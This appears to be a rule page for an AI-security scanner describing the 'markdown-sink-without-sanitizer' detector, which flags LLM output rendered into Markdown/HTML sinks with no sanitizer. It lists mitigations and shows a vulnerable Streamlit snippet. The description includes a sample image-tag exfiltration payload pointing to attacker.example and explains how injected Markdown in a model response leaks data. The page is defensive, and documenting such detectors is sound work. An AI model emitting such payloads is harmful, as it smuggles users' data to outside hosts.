Markdown sink without sanitizer

ID

markdown-sink-without-sanitizer

Severity

high

Remediation Complexity

trivial

Remediation Risk

low

Remediation Effort

medium

OWASP LLM

LLM02:2025 — Sensitive Information Disclosure

OWASP ASI

ASI09:2026 (secondary ASI02:2026)

Family

LLM02 — Sensitive Information Disclosure

Red-team vectors

Data Exfil via Markdown

Tags

ai_security

Description

An agent renders model output into an HTML/Markdown render sink — a Streamlit st.markdown(…​), React dangerouslySetInnerHTML, an unescaped Jinja/Handlebars filter, a markdown-to-HTML converter, an HTML email body — with no output guardrail carrying the markdown_sanitizer capability.

This is the classic image-tag exfiltration surface: injected Markdown/HTML in the model response (for example ![x](https://attacker.example/leak?data=…​)) is auto-loaded by the rendering surface, smuggling data out or executing in the page. The detector fires only when the sink is fed an LLM-output-looking value, so a sink fed non-LLM content produces no finding.

Kept disjoint from the LLM05 llm-output-rendered-as-html-no-sanitizer (which owns the dedup decision): this row is guardrail present but missing the markdown_sanitizer capability; the LLM05 row is no output guardrail at all.

Examples

agent = create_react_agent(llm, tools)
response = agent.invoke(user_msg)
st.markdown(response)          (1)
1 Model output rendered as Markdown with no sanitizer wired — flagged.

An agent wired to an output guardrail with a sanitizer (bleach.clean, DOMPurify, nh3.clean) produces no finding.

Mitigation / Fix

  • Sanitize HTML/Markdown before rendering (bleach.clean, DOMPurify, nh3, sanitize-html).

  • Render the response as plain text where formatting is not required.

  • Strip auto-loading tags (img, iframe) and disallow remote URLs in the rendered output.